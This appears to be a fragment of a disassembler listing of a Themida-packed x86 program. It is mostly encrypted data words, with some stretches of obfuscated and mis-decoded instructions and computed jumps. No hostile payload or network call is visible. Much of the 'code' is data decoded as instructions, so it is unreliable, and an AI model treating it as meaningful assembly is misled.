0BFA498A7h, 8408454Eh, 0C6C5C0ACh, 2EBFF566h dd 0F06735AAh, 5577FE4Dh, 744152BBh, 0BAE147EFh, 0BEDDEA92h dd 68AFDB53h, 0D94DF36Ah, 0F36A68ADh, 1B7FD822h, 0C6D33C27h dd 93FA618Bh, 0A10C015Fh, 955DB553h, 0D2DDA01h, 8D21B3B1h dd 692318F9h, 0B994E14Eh, 739DF1D5h, 3A4FB431h, 181175F9h dd 0AC966923h, 9FDC8DDh, 8602D135h, 4C300F17h, 1A6FDE08h dd 39435B2Fh, 0E4833822h, 995AE0FDh, 79ED7FA9h, 1728C2A4h dd 70415439h, 0FCCBDD8Ch, 58BFA498h, 49h, 0E30D6FE0h, 0F1D5B990h dd 0C2274F9Dh, 3BD9F1Fh dd 0B8C02D3Fh, 36E76B85h, 0AA01D2EFh, 0A5F41881h, 0A5134892h dd 10E3078Bh, 427D8B72h, 826C9AFEh, 6009166Ah, 119843Ah dd 0DC0A4E32h, 6AD11B7Fh, 9066D056h, 7141EF78h, 6DD5DE8Fh dd 7B5F231Eh, 0FA82DC07h, 0B273FB61h, 3BBD9F23h, 798B15C7h dd 60E991F5h, 242C163Ah, 3A60E9A0h, 0BB35D327h, 0D0033A4Ah dd 0F55FA954h, 0C8BC90AFh, 0A5F35AF4h, 0B6C626AAh, 6ADEE338h dd 0FD283216h, 0C3FE0BA5h, 7AF41EFh, 446BEE02h, 9B4B3F03h dd 307DC3EBh, 0B0BAC1DBh, 7D5B50Bh, 0A5430334h, 0DA36A3CBh dd 43B74E77h, 0E3E70F99h, 642E49E6h, 0C818F01Eh, 2E49E6B8h dd 6FD3EE39h, 0F55978BEh, 7608859Fh, 0CCC4C1D3h, 201EEC1Dh dd 1634h, 0D6FD000h, 6540E476h, 0EABD9F1Fh, 0E3C7F205h dd 2DB81Fh, 6FC00000h, 5AE4760Dh, 941DB6D2h, 27C139C3h dd 293C2145h, 52DCBD9Fh, 0EE6659A3h, 3A60F69Ah, 0AFC7156Dh dd 3A60F6DBh, 5BB856ACh, 0DE3D9367h, 1B6FF8D5h, 2880532Ch dd 32865DAh, 0A2F40000h, 485F48ABh, 0FE0DFA79h, 0AFF710C3h dd 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh, 263D081Ch dd 5281BCC9h, 5F2B43A9h, 0D0C5863Ch, 0D5DEFB61h, 708372F8h dd 7791F559h, 485C4993h, 0DFA392E8h, 0E46987FBh, 2AB4A693h dd 5393AEFBh, 0C3941D37h, 0C3A442B8h, 0A9A90993h, 0A4B91331h dd 961ECC20h, 0BD9FB80Bh, 7544533Ch, 0C585AD11h, 103A6186h dd 5E8F0580h, 4B2C35A8h, 31h, 760D6F95h, 0D1EC39E4h, 8031B537h dd 0EDBD9F05h, 41012195h, 943A60CBh, 0E20B810Ch, 0D82C35C6h dd 18ECDB2Dh, 0E0546BB1h, 0DB9E48ACh, 0E7h, 4150BD25h dd 0A6408408h, 0F56752A7h, 0FFD6DD46h, 0F8161FD7h, 0C3DBCA10h dd 0A1FB52FCh, 7EC2FD0Bh, 0EB52261Ah, 0DCE1369Eh, 748372F8h dd 0F6A7AB45h, 0CC2F4BADh, 0F682779Dh, 72DD4192h, 0CDC39492h dd 0B9568DB8h, 8DED516Ch, 748654EFh, 0C2E6FAC7h, 859082FEh dd 90E950B4h, 0AF383ADh, 8EBD9FA5h, 4B3F0A1Fh, 957AD977h dd 618AB580h, 0ACAE2B3Dh, 0F672E1C5h, 2BC5F407h, 0E8720993h dd 6C2B8544h, 2A300A44h, 459EA1FBh, 139B50A8h, 3073F177h dd 0F1751195h, 80FA3073h, 60EFC337h, 8C6B401Ch, 0D300C743h dd 0A1000001h, 8E57E55h, 0F617CCFDh, 0A04D96ABh, 0FF87B5Ah dd 0AA29CAF5h, 6D50A843h, 3D0019F6h, 80BFC926h, 5461B253h dd 46EE028Fh, 0C5863F02h, 0DE4E3685h, 8F78FBDAh, 709D4F7Ah dd 6EA2162Bh, 6FD127C0h, 39E4760Dh, 0BB35D3EEh, 9F058233h dd 2397EBBDh, 60CB4303h, 0B8CA963Ah, 60CB5034h, 1AE3D73Ah dd 9315330Ah, 0C74FFE12h, 0B87A2C35h, 82000000h, 14F8D5DEh dd 9C605FA5h, 7B465F4Eh, 189639CDh, 1B8AC394h, 774B3F02h dd 162374D9h, 0FAD720CDh, 3A4EE670h, 8D3C6BE6h, 82BFC4B5h dd 0F08CEC64h, 846D816Bh, 794260D1h, 0F884D201h, 0BE6FF963h dd 91F55978h, 0F5A7234Bh, 0D2283A60h, 6542A034h, 0B58D446Dh dd 102D76A7h, 738974F6h, 0FDF42997h, 0D4289CABh, 6F03082Bh dd 0B15CE80Bh, 50BD6B66h, 0ACFA7548h, 4F8C6BC9h, 0E404FBh dd 66B00000h, 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h, 1A1E8F54h dd 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h dd 1377FF6Dh, 94C5863Eh, 0DADEBF25h, 7A8F78FBh, 0DE6C944Fh dd 0CD72F8D5h, 2109C9Ch, 43C7613Ch, 0AEBC899Ah, 732D3931h dd 0F71174EAh, 0F205F07Ch, 0F11F73C7h, 0A6B4CFADh, 86DF850Eh dd 0F84CB6BDh, 495C0411h, 2EDF0478h, 0CC64E8E5h, 0A53DCF63h dd 0AFECBDAh, 916554A3h, 81E1DC28h, 601AABh, 3FE87DE2h dd 0F02079FCh, 0A8515C56h, 14F1625Fh, 9B423603h, 7FAEBC83h dd 18F01E29h, 0E46867B1h, 60D4E335h, 5AFD0822h, 2D8AF31Ah dd 0AD684C0Eh, 0C9DEA01Fh, 8BF68CF6h, 0A54A5B5Dh, 11FE6550h dd 8245C904h, 16h, 60A7E15Eh, 625A68E5h, 25C3271Eh, 4A50BD3Fh dd 0A543870Bh, 0D4DE02F2h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 0DE0h, 56240C89h, 0C681E689h, 4, 4EE81h dd 34870000h, 14895C24h, 19636824h, 1C890000h, 348DBA24h dd 0CA817BA5h, 71D77D36h, 9A4BBB53h, 0DA018A1Ah, 4EC815Bh dd 89000000h, 4832424h, 525B0424h, 1DE8B850h, 44310B5Bh dd 8F580424h, 73810843h, 5B1DE808h, 241C8B0Bh, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 5A2434FFh, 4C481h, 40E90000h dd 0C9FFF95Ah, 0E4896FC0h db 15h ; --------------------------------------------------------------------------- loc_5AE5A1: ; CODE XREF: Themida_:loc_5AD863j mov eax, 6122477h add eax, ebp jmp eax ; --------------------------------------------------------------------------- xor cl, bh movsb pop ecx add ecx, [ecx+ecx*4+2C3F5D54h] daa aaa pop es pop ecx inc eax retn 2ABCh ; --------------------------------------------------------------------------- push cs jz short loc_5AE60B push ss inc eax mov ds:396354B6h, eax jnp short loc_5AE643 pop esi jno short loc_5AE601 jmp dword ptr [ecx] ; --------------------------------------------------------------------------- dw 48A4h dd 3F9A6E60h, 0B4735836h db 77h, 6Fh ; --------------------------------------------------------------------------- loc_5AE5DA: ; CODE XREF: Themida_:005AE63Fj mov al, 2 cmp [eax-15h], bl add al, 7Ch ; --------------------------------------------------------------------------- db 0F0h, 88h, 74h ; --------------------------------------------------------------------------- loc_5AE5E4: ; CODE XREF: Themida_:005AE645j jmp loc_5AEB36 ; --------------------------------------------------------------------------- db 9Bh, 8Fh, 0B0h dd 63342A3h, 0E8E130DDh, 0BD849A0Bh, 0C3349A6h, 0E27960D7h ; --------------------------------------------------------------------------- sahf loc_5AE601: ; CODE XREF: Themida_:005AE5CAj cmpsd mov esp, 0EC774A53h add esi, ebp ficomp dword ptr [ecx] loc_5AE60B: ; CODE XREF: Themida_:005AE5BEj in al, dx wait scasb mov ch, 44h movsb add [eax+edi-7Ah], al ; --------------------------------------------------------------------------- db 0C5h, 0CBh, 7Ch dd 0F8D5DE84h, 605FA514h, 340112F3h, 0B18C9940h, 0E3091CCDh dd 1DBBD719h, 90E554C9h, 99FDD1A5h, 0C6C7DD35h ; --------------------------------------------------------------------------- loc_5AE63C: ; CODE XREF: Themida_:005AE64Fj inc edx push ebx dec ebx loope loc_5AE5DA ; --------------------------------------------------------------------------- db 0BAh, 46h ; --------------------------------------------------------------------------- loc_5AE643: ; CODE XREF: Themida_:005AE5C7j repne sahf jo short loc_5AE5E4 mov [ebp+3F49A6h], bh sal dword ptr [edx], cl loop loc_5AE63C db 67h mov dh, 61h pop esp call near ptr 52111DA7h inc edi or bl, ch cmp ch, cl fsubr qword ptr [eax-8] mov [esp+edx*4-45B4BE3Dh], ebx db 36h mov [esp+esi*2], edi mov [edi+4Fh], ch mov fs, word ptr [eax-2] dec edi mov dl, 41h xor bh, [edx+66h] ; --------------------------------------------------------------------------- db 3 dup(0) dd 0F8D5DE82h, 0CFD7C614h, 0C73B1665h, 0BE45F638h, 173174B2h dd 94E43D4Fh, 32B3C9C3h, 41EA2FDEh, 11A32h, 0DEE20000h dd 0C416FAD7h, 1D5632BAh, 0E1D9C394h, 17BFC647h, 6C51A60Eh dd 6C40A498h, 0EAE93198h, 0F9F42E66h, 394DE173h, 8EC3941Dh dd 1D5E2A42h, 0E9D1C394h, 0A3F25BF5h, 0E6DAF503h, 4A87907Dh dd 0DADE6BA9h, 5FA617FBh, 1D741094h, 71FBC394h, 941D89FDh dd 0C0241EC3h, 64BE18ECh, 0D0788069h, 0C2068AC7h, 1DF09418h dd 377C394h, 6F9E3D2Fh, 246A25B0h, 739C57F1h, 0D4C12B26h dd 251C62CEh, 0B5197D51h, 0EA53B751h, 3B8A29Fh, 0BAAACAEAh dd 0D337D19Fh, 5E221F6Ah, 26AA95EFh, 0A2162177h, 0FC092B6Eh dd 0CF94F074h, 271BC394h, 7B8A2EC3h, 41C55881h, 825132h dd 0DEBF0000h, 0A617FBDAh, 6AF4665Bh, 941D86C2h, 173109C3h dd 0C394A33h, 8AC9D1B8h, 6DB1906h, 0EE3887C9h, 27C89ABh dd 14FD0822h, 0FA2B310Ch, 0EA2E92AFh, 0B251463h, 5A65BF68h dd 0C0FF07F6h, 0CADBD97Ch, 41C40736h, 622232h, 0BDCA0000h dd 81754850h, 56AAA34Dh, 0E2329B6Fh, 271B3A7Eh, 8B1A5E53h dd 35271E62h, 1D4703ABh, 67C8C394h, 21CF231Eh, 9595CA46h dd 6F01179Dh, 477A8970h, 8B719FF3h, 186FD7DEh, 7B5F66BCh dd 0EB5FB397h, 2B5FD761h, 0B2C3941Dh, 95ED6A67h, 1D9AEB7Bh dd 5E54C394h, 0F094B54Fh, 1BD3240h, 5B000000h, 0AFED3DEh dd 0F17B56A3h, 73C7FE04h, 6865AE1Fh, 0D5AF4ABEh, 32E033D8h dd 0ACB441F8h, 6CF7EB56h, 0BD16A32h, 9E0E96E3h, 9F6357BDh dd 0BE8E52Eh, 0C8BC899Ah, 87CF002h, 9F3A61D2h, 8BF98DBBh dd 0BE3A61D2h, 71826B7Ah, 256E9F44h, 0D23256DEh, 4DB53A61h dd 0E334E569h, 72B462D6h, 4C798A73h, 0BFC46597h, 0BFA2C36h dd 77BCFF2h, 15810E9h, 6FFC0000h, 39E4760Dh, 296DD1ECh dd 98F96DFFh, 15BD9EFFh, 0C8CE3F2Dh, 27C10589h, 89297A23h dd 0F4C3D57Fh, 287D2C90h, 7155A91Dh, 0D6DECF1Dh, 19370BFFh dd 6964B15Eh, 5BA657E5h, 90BE9266h, 0BCC868BDh, 0DDE03881h dd 4D311569h, 0EF149193h, 48B4AF9Ah, 2C35C2A1h, 7088h dd 1EBD5400h, 92BFEDEDh, 6737D1F4h, 49DD0F14h, 0C394656Dh dd 0DC14F8C2h, 0C39465A8h, 3D7570AAh, 8517C55Eh, 6597F37Bh dd 2218C394h, 65447004h, 5746C394h, 0B990E341h, 0A0ACAB45h dd 946A780Ch, 978BCFC3h, 76E91645h, 0EF6913CBh, 9BB5A998h dd 9DEF4CD8h, 403C1747h, 65E9E82Eh, 3C23CD21h, 9Ah, 0F2988B30h dd 15221F6Ah, 0D37DD506h, 4150BD6Dh, 447B8108h, 2A729CF0h dd 0F223C952h, 0F47690ADh, 9F053170h, 0D722D3BDh, 4B3216FAh dd 66E5033Eh, 0F84C7389h, 4BBAA084h, 47BB0F32h, 249BA1A9h dd 146AC46h, 1FEE18C8h, 0CB243F0Ah, 373F83BEh, 3A608168h dd 4FB43163h, 8AD40F3Ah, 128369F2h, 0D9ADC10Eh, 0AE3A6081h dd 14D67054h, 71668C90h, 0EB5FA344h, 70C4F102h, 683ECFC5h dd 30DD0F14h, 19387EEAh, 8C7D5125h, 0CC9E4879h, 678D5458h dd 4C97EB4Eh, 0F6CDD5C0h, 0D6FE258h, 777E476h, 35E7AD7Eh dd 0EE06E806h, 0BD8526E2h, 40FF6D55h, 0B9DDB807h, 321630A9h dd 72169E28h, 0F53A7A95h, 483C0D18h, 17F61074h, 0C32C3702h dd 90F940B6h, 9A3D63D3h, 0E112D2A6h, 44ABE081h, 0C8B10530h dd 0CA388CBDh, 49B9D5D0h, 58AD5253h, 3340FF6Dh, 0D0976963h dd 769750FEh, 9EAC102Dh, 59887B21h, 0FD2B47E4h, 47CB0A10h dd 45CFDEDAh, 9DE64258h, 84F8DCA0h, 176DDC30h, 0FA0FFE28h dd 8E724F5Ah, 5784564Ah, 56B03A2Ch, 0D89BB5F1h, 9519DA2Fh dd 44C042F1h, 0A4280C76h, 3E3h, 9C840D00h, 9FDD4DEh, 967A57A0h dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h dd 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h, 0EF830000h dd 243C8704h ; --------------------------------------------------------------------------- mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push esi push 182322C9h pop esi shl esi, 2 dec esi add esi, 47774B87h xor esi, 0AE11F3EFh push esi pop edx pop esi push esp mov eax, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, eax push edx pop dword ptr [ecx] pop ecx push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- movsb fcom qword ptr ds:6BEF5BFEh mov al, ds:7CBE9585h loc_5AEB36: ; CODE XREF: Themida_:loc_5AE5E4j mov eax, 61229F9h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 95h dd 63692924h, 53544CBBh, 3F0C56D1h, 37328C6Dh, 345351A1h dd 0EF3F3A4Ah, 0EA4E5EBAh, 8D6F714Ch, 0A053C3Ah, 49762FCAh dd 9011C65Eh, 9A45E6E4h, 17394E73h, 0B513ABD0h, 853DA2ABh dd 0A82937BDh, 90462B00h, 6366C4A1h, 5C2CA48Ah, 0F8115DDEh dd 0EB283535h, 0C7AFE304h, 52EE97Eh, 0D2240000h, 788F78FBh dd 2E7DAA49h, 0DF27C013h, 8E9273E0h, 0CE15ACB7h, 9EAD52Fh dd 0B9BA879Ch, 0D60D384Ch, 2D1EC39h, 8FFB73F9h, 0C58637h dd 0D5DECBB1h, 5FA514F8h, 0BD68FA60h, 0F793536Eh, 78C3941Dh dd 5C63BB02h, 0C3D431B2h, 4E5B02F6h, 1D656185h, 90EAC394h dd 1661C8BCh, 52917AE0h, 2D01E4DAh, 0AFB6959h, 8325C3FAh dd 0F70FFE02h, 0DA2F1EC8h, 8D9B74EFh, 961EA8B2h, 0C3943DF2h dd 0E30D75h, 370A1984h, 0D5E03419h, 5E63B861h, 0C6F903EAh dd 44E872h, 87C3943Dh, 8CB9CAB3h, 0D3D2C838h, 870682BFh dd 243F161Eh, 3F83BECBh, 943D5637h, 8B1A90C3h, 4110D871h dd 67F132h, 0BD1F0000h, 7269A81Eh, 65EC2B22h, 0EB628CFDh dd 17DFA39Eh, 0C3945175h, 16EAFBB1h, 32413CF7h, 1D2h, 0D7DE3A00h dd 372B166Fh, 2B8B9A43h, 3B1FE3DEh, 748A73C7h, 8C209F4Dh dd 0C58125F8h, 4AC39468h, 0F79CC770h, 8DC54DFBh, 63921697h dd 409271Ah, 714C55F1h, 0DC29C61Dh, 45E97BE1h, 0C3947301h dd 0D192BC86h, 0FBDADE23h, 625FA617h, 0E7E6209Eh, 11DBFA3Eh dd 0CEFD34AAh, 0C2068AC7h, 0F3848435h, 0A9169255h, 0A65A6972h dd 0CA43ED99h, 51388CB9h, 0D2BB0F42h, 57068AC7h, 0D08E724Dh dd 86BBD7D6h, 76DE2BDAh, 6AAE122Fh, 0CFDED876h, 41A60435h dd 0B72D32h, 0DECB0000h, 3E6220DAh, 0D6ABDF57h, 0C63CC394h dd 0D7D5A039h, 535E0FF3h, 0DB238A7Eh, 0E476B03Fh, 0FCD08889h dd 645BA108h, 6D78B290h, 0EAFB3111h, 1AC0FF05h, 0F4606488h dd 93E7C394h, 0F4A12549h, 0DC26C394h, 4C54B132h, 0E93AEB71h dd 0B90D3049h, 629D6145h, 80331D99h, 3A83E7E7h, 1468DCE9h dd 0D9C416FAh, 0CA0EF2C1h, 1CE9311Ch, 9457FC88h, 2B0F73C3h dd 0F7F6A2A7h, 413CDC1Dh, 0C5D3C232h, 24C2068Ah, 475Dh dd 0DADEBB00h, 0BBC517FBh, 0A4B72004h, 43835974h, 0C394CE07h dd 0B994B288h, 89EC506Fh, 386B3CA3h, 5D0C1E79h, 0FF4F1B3h dd 9F29CAF5h, 12F266Eh, 0FAD7DE1Bh, 1DAFDE16h, 2D67C394h dd 0F0C168A0h, 1E83240h, 74000000h, 0AFED3DEh, 15CF9BC0h dd 0E9C3A2DDh, 7EC5CE3Fh, 0BB4B768Fh, 0C39477CFh, 29DD7A40h dd 0DD8FBBCBh, 0E31EE2C6h, 5D68BC69h, 0FF4F1B3h, 9A16CDFCh dd 3AE0E408h, 1367C394h, 48D3A9F5h, 85AB10A2h, 755B37DCh dd 9D986C9Ah, 52BD9E2Ch, 0E035E468h, 94E10ED5h, 6F1DD5B9h dd 5A3A61B0h, 98058F1Eh, 0BA93BD80h, 1F8E5C69h, 6B0C3A05h dd 8E5C69BAh, 0E7AF27Ch, 813A61B0h, 0B0DDA9B9h, 68523A61h dd 96E34ABEh, 2F69D7BBh, 112C799Eh, 0B03446C2h, 3A61B0D4h dd 96A3F25Bh, 608AEE22h, 61B0B8CCh, 1DCB0F3Ah, 369E0A23h dd 10F272Ch, 6FC10000h, 40E4760Dh, 0BD9EFF11h, 47B6A49Eh dd 67EB0534h, 0EA66DB6h, 3A60CF7Ah, 484AF5CDh, 31EA7400h dd 0AA263D11h, 7F273D35h, 0AE58DF09h, 8B7F4A5Fh, 10E4D122h dd 0B8616CA6h, 81B0C76Fh, 7EE5D93Dh, 35206B82h, 3D462Ch dd 0BDAE0000h, 85744550h, 14A8467Dh, 0C66EFC87h, 0C3941DD2h dd 9CADF855h, 0CF0D428h, 941DA024h, 6D78B2C3h, 0FDD6635h dd 941DB3E7h, 262D9C3h, 5D59C2A8h, 0B9817EA8h, 875BBAh dd 6FE50000h, 40E4760Dh, 0BD9F0521h, 3C948FAEh, 90592428h dd 0DBAFB815h, 32160AB2h, 0BF8A9F4Eh, 33E4BA4h, 47E8B7BFh dd 44573A60h, 0C0D88175h, 0E33909FDh, 4F95A8E2h, 714C59BEh dd 53E8B4E2h, 39041C89h, 88C95D0Fh, 48447258h, 0D17F4A5Dh dd 0D5840872h, 0D567F5C0h, 76323551h, 0A640BA30h, 0F0FDB7A2h dd 9359E2BAh, 3299ED01h, 816E3076h, 97EB5F72h, 53DB95B3h dd 4E642D02h, 673699C6h, 0A77B687Eh, 0A3B08A89h, 0E30D6F55h dd 9D3A79Ah, 941DE1E5h, 381C66C3h, 1DCEBA32h, 7941C394h dd 1E5FD705h, 0AFBD8602h, 0CB55E76Bh, 79C827A3h, 625FA63Ah dd 0E5DDBA9Eh, 84B1C24Bh, 6865AE5Fh, 7AC24CE4h, 0C8E2B5ACh dd 0F6C3D43Dh, 0DD51E36Dh, 428C28A9h, 232AC43Eh, 2F266ED6h dd 6BF547CBh, 8C2887C3h, 14320842h, 6ED2E139h, 0CF34B1F3h dd 0D35D8FBAh, 8C282F5Bh, 0AC5AA042h, 0FCC9DACBh, 10B708h dd 78A50000h, 440E42Fh, 8B428C28h, 4FB553B7h, 0D4DE9C84h dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 51CF7BCFh, 0C181E189h dd 4, 8704E983h, 895C240Ch, 3E68240Ch, 8900001Eh, 89532414h dd 4C381E3h, 83000000h, 1C8704EBh, 34895C24h, 4DA46824h dd 3C890000h, 2AFABF24h, 0FA890612h, 4EC835Fh, 83242489h dd 5E042404h, 0D6895651h, 895EF189h, 0FF59084Eh, 815E2434h dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF94F1Bh, 0E4506B3Fh dd 0E0EB5122h, 0CEFB25ADh, 122FAFB8h, 0FFC50306h, 178EE7E0h dd 50D55B4Bh, 0A66C0665h, 0E9CA416Eh, 4F356911h, 1DD50118h dd 35DD4101h, 848ED205h, 3367080Eh, 75782949h, 0C0263230h dd 5E04EB60h, 0E9348C04h, 53Bh, 8E556CB6h, 383B1661h, 568DBCCFh dd 815261B9h, 32211C64h, 7B815C83h, 296E9F44h, 0D6DECF14h dd 7E8B64FFh, 816B9043h, 862D196Dh, 0B91FEEC5h, 0E60ED5DEh dd 0C3941DE2h, 743EB65h, 88C3941Dh, 967A5EB2h, 2E77DD27h dd 0B9FEAF13h, 0F8DC3084h, 40340B11h, 0DACB280Ch, 0F16EFCC9h dd 2F78C03Ch, 48C06E1Bh, 0D5B994E1h, 63B51164h, 48ACE054h dd 17968CC4h, 0E73DA5EEh, 3C1074D8h, 87BEC627h, 6A65B35Ch dd 8EE37E6h, 0A0E92BA3h, 9D337DEh, 0D5B9849Ch, 71AB46F1h dd 0EEED711h, 7FCD68E0h, 7F0D79EDh, 0B882C394h, 7099148Eh dd 0DDCA2924h, 0D909FDC8h, 0C3947FA8h, 1FE3DE2Bh, 9A6E63AEh dd 0EF7570AAh, 947F0347h, 5ABE84C3h, 2FE5E0BAh, 324152FEh dd 7B2Bh, 0D5DE3500h, 3D2F1A6Dh, 941DDDA9h, 746852C3h dd 0B4D054E6h, 3BC3941Dh, 12129C7h, 0C3941D43h, 379BB2C2h dd 0B3073E46h, 1D4105A9h, 0FCC6C394h, 8B119C96h, 941D6763h dd 0BE92E8C3h, 0B810C86h, 3240F0E2h, 0E3DE2DD8h, 1BC45h dd 0DE580000h, 0EC980CD7h, 63C3941Dh, 0F94D748Ah, 33BBA185h dd 0C3941D57h, 3A8EE2D8h, 81754453h, 0FF3C2D8h, 3BE0EDC7h dd 0E906DDECh, 42B2A19Ch, 17FBDADEh, 9E625FA6h, 3EE7E620h dd 0EF18DBFAh, 72DBAF9Ah, 0A3A62A27h, 0DD1CF4F1h, 0D43240F2h dd 78h, 0D6B23A44h, 59C39417h, 0DE51C761h, 2A276EDAh, 0BA0E62A6h dd 589C0D3h, 8D714C54h, 1A69CDDCh, 177FC327h, 96FE901Dh dd 90E8119Ch, 4359B6ADh, 3042887Ch, 941DC8BCh, 0DF591FC3h dd 513D2A73h, 0D72D9CE6h, 0B7CF3EE8h, 93010488h, 83FFE12h dd 426A3241h, 0F2000000h, 71FBDADEh, 3EB67184h, 0C3941D4Ah dd 3881E5DDh, 0DD35D3E2h, 592D186Ch, 68911C44h, 0CE362D10h dd 16FAD7DEh, 0FDC0D9C4h, 1DC28353h, 760CC394h, 0F16C9D77h dd 6453240h, 0D7000000h, 48E6DB26h, 0FED3DED2h, 7B56A30Ah dd 9F2E6A97h, 0CD162B76h, 0C9BD3143h, 50C3941Dh, 4D817548h dd 5E5E88F2h, 0BF37253Eh dd 0BD9EFCBAh, 1AC3B78Bh, 0B12E3C09h, 0C25DE87h, 99B8FEB9h dd 3FE88BA5h, 0C394AEAh, 3CB0C228h, 3A608D48h, 0C54DFBDFh dd 608D1F6Dh, 0FF0E2A3Ah, 743EB75h, 0E53A608Dh, 608D0541h dd 0C7B08A3Ah, 0AFF855F3h, 0EDD79F49h, 0FCD0AAB9h, 6A76E567h dd 74127269h, 256EDF09h, 6796A428h, 795D2110h, 18357ECFh dd 6FD523D2h, 41352918h, 5A67BC0Dh, 0B8FAA4ACh, 86B3C42Dh dd 0F850A954h, 8EB89CADh, 0EB022BD5h, 83382C35h, 0CCD8EB36h dd 5D4846F1h, 4BE07997h, 0C000001h, 96E30D6Fh, 119547BBh dd 0BD9EFF60h, 0F867F5CDh, 4256BDCCh, 0A723C473h, 26AA95EFh dd 0E8608EE2h, 1AD9F401h, 0D9AD98EDh, 0A62A2770h, 0A52FBEF8h dd 0F6102978h, 2C370217h, 0EA9E16A0h, 7D3A609Bh, 0D871EB05h dd 0F12C3576h, 6Eh, 0BB33BD1Fh, 0C3941DCFh, 6C188C40h dd 0E3C3941Dh, 318DBB9Fh, 0FB8F276Ah, 4CC3941Dh, 93C81276h dd 0C98D8E2Fh, 2A5ED6ABh, 0BDC3947Fh, 25C76145h, 947F9581h dd 0EF359AC3h, 0DC6EFCD0h, 947F3C48h, 5E65BDC3h, 0D12996EAh dd 7713D337h, 6DC3947Fh, 97E4BA4Bh, 7300F19h, 0D96DFB27h dd 0EDC30E4h, 9491B2E6h, 964DB5C3h, 916Fh, 0D6F8900h, 34031580h dd 80C40C40h, 7C3941Dh, 990DDF33h, 0BD9F05C8h, 6059A805h dd 0A756639Ch, 80455976h, 76C448ACh, 0F3477287h, 8B9C719Fh dd 3F48A5BEh, 0CDB18097h, 35479589h, 3A8EB3C8h, 117A0EC6h dd 0F5CD3A60h, 307FF75Bh, 3B3A6010h, 0F207ECF9h, 2B901CC7h dd 0E2343C88h, 0AFEF19C5h, 0A4B6CDh, 4472661Fh, 0F7A62A10h dd 362397A2h, 3CE97372h, 8168DCEDh, 92F65A79h, 700C90BEh dd 0C2ED01EBh, 0B34E6437h, 0ED18944Fh, 0E024A897h, 0D6FD046h dd 5F40E476h, 0D0BD860Dh, 3B1F2A7Fh, 0A09DE657h, 744152B3h dd 0B4D054E6h, 3B3A79CDh, 12129C7h, 6BE7DDBFh, 1B800D27h dd 0A420330Eh, 83F6921Ah, 17904DBh, 201D66E7h, 5895ED5Ch dd 0DB83B0D4h, 0EFC33704h, 0F7BF37Dh, 8004DB83h, 99848CBAh dd 10658A1Bh, 0C4D13E25h, 88370589h, 73532A69h, 877CAA20h dd 1Bh, 0C233BD21h, 0DC3084B1h, 941D7014h, 6583F7C3h db 0B2h, 36h, 89h byte_5AF59F db 0EAh ; DATA XREF: Themida_:loc_56F04Fr dd 9707D2AAh, 0DE6AD07Eh, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh, 51E28952h, 4B9h, 59CA0100h, 8704EA83h, 685C2414h dd 757h, 68243C89h, 4A1h, 55242C89h, 127FABDh, 86EBF62h dd 0EF01A411h, 83242C8Bh, 8B5404C4h, 0C483242Ch, 0BF575304h dd 5AB353C5h, 0B353CDBBh, 5FFB315Ah, 3B89EB01h, 242C8B5Bh dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h dd 9CE904C4h, 0F3FFF949h, 0E5601CD3h, 0B89887CAh, 6123528h dd 0E0FFC503h, 1E62C495h, 38559B43h, 773BA587h, 15EA553Bh dd 4639202Ah, 1A606C1Bh, 0C1C3892h, 1B128C23h, 64F10BC9h dd 2144FC08h, 58A81746h, 463C84CFh, 60F89ED8h, 36BD8D8Dh dd 810F0612h, 3, 89DA8B66h, 0B174D8Dh, 13E806h, 65080000h dd 2EB03871h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h, 0A1958909h dd 5A060B22h, 10E9h, 23061D00h, 17653E1Dh, 4765AEE6h, 8395C814h dd 1985C79Fh, 28060B01h, 6A000067h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2D3C352h dd 3D97BBC3h, 8A7CB036h, 17CDBD89h, 85C7060Bh, 60B1009h dd 0 dd 890Fh, 0B5FF0000h, 60B0FD5h, 7E8h, 8EFD5200h, 7841E7E6h dd 5E9h, 0CD696500h, 815B4520h, 76B17BC0h, 0C595FF6Dh dd 6A060B0Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0A870C350h, 6AFB55h, 32DD95FFh dd 0C08B060Bh, 1B4A3CEBh, 9AB79EF2h, 8C5858C4h, 0DAC3D308h dd 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h, 431F5343h dd 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h, 0D24675E1h dd 70CD39C7h, 4EBA7C2h, 62C42642h, 50CE9h, 0F4C3D700h dd 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h dd 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh, 2AB8CC60h dd 400FC586h, 6DD5DED8h, 7B5F231Eh, 0B6CAB307h, 4ED8548Fh dd 0F57D4C5Fh, 0C3941D91h, 0B022C16h, 0ED7FC3FEh, 0B723054Eh dd 87A11332h, 9A407D86h, 0E0E0E408h, 1367C394h, 59AC1DF5h dd 76ACE468h, 0F400ED77h, 0CB1175D9h, 94E027A3h, 0B452A8C3h 